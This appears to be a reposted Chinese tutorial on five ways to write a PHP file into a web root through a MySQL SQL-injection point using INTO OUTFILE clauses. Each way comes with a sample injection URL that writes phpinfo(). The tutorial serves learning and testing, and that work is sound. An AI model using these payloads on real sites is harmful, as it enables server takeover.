MySQL注入點寫webshell的五種方式


0x00 寫數據的前提

1,在mysql的配置文件 my.ini 中,secure_file_priv="c:/wamp64/tmp" 被注釋 或者 `secure_file_priv 配置的位置是web目錄。
2,未開啟全局gpc。(php5.329之后就沒有magic_quotes_gpc)

0x01 union select 寫入

 

最常見的寫入方式,union select 后跟 into outfile 語句
注入點語句
?id=1' union select 1,2,'<?php phphinfo();?>'into outfile 'E:\\phpStudy\\PHPTutorial\\WWW\\numm222.php'--+

注入結果:

 

 

PS: 在windows下,位置的分隔符為 /(斜杠)。
這里into outfile 和 into dumpfile是有區別的
outfile是將導出整張完整的表
dumpfile是輸出在一行上

若我們想把一個 可執行2進制 文件用into outfile函數導出
事實上 導出后 就會被破壞
 
因為into outfile 函數 會 在行末端寫入新行 更致命的 是會轉義 換行符
這樣的話這個2進制可執行 文件 就會被破壞
 
這時候我們用into dumpfile 就能導出 一個完整能執行的2進制 文件
into dumpfile 函數不對任何列或行進行終止,也不執行任何轉義處理

0x02 lines terminated by 寫入

注入點語句
?id=1' into outfile 'E:\\phpStudy\\PHPTutorial\\WWW\\num.php' lines terminated by '<?php phpinfo() ?>'--+

注入結果:

 

注入原理:
通過select語句查詢的內容寫入文件,也就是 1 into outfile 'C:/wamp64/www/work/webshell.php' 這樣寫的原因,然后利用 lines terminated by 語句拼接webshell的內容。lines terminated by 可以理解為 以每行終止的位置添加 xx 內容。

0x03 lines starting by 寫入

注入點語句
?id=1' into outfile 'E:\\phpStudy\\PHPTutorial\\WWW\\numm.php' lines starting by '<?php phpinfo() ?>'--+

注入結果:

 

注入原理:
利用 lines starting by 語句拼接webshell的內容。lines starting by 可以理解為 以每行開始的位置添加 xx 內容。

0x04 fields terminated by 寫入

注入點語句
?id=1' into outfile 'E:\\phpStudy\\PHPTutorial\\WWW\\numm2.php' fields terminated by '<?php phpinfo() ?>'--+

注入結果:

 

注入原理:
利用 fields terminated by 語句拼接webshell的內容。fields terminated by 可以理解為 以每個字段的位置添加 xx 內容。

0x05 COLUMNS terminated by 寫入

注入點語句
?id=1' into outfile 'E:\\phpStudy\\PHPTutorial\\WWW\\numm22.php' COLUMNS terminated by '<?php phpinfo() ?>'--+

注入結果:

 

注入原理:
利用 COLUMNS terminated by 語句拼接webshell的內容。COLUMNS terminated by可以理解為以每個字段的位置添加 xx 內容

 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM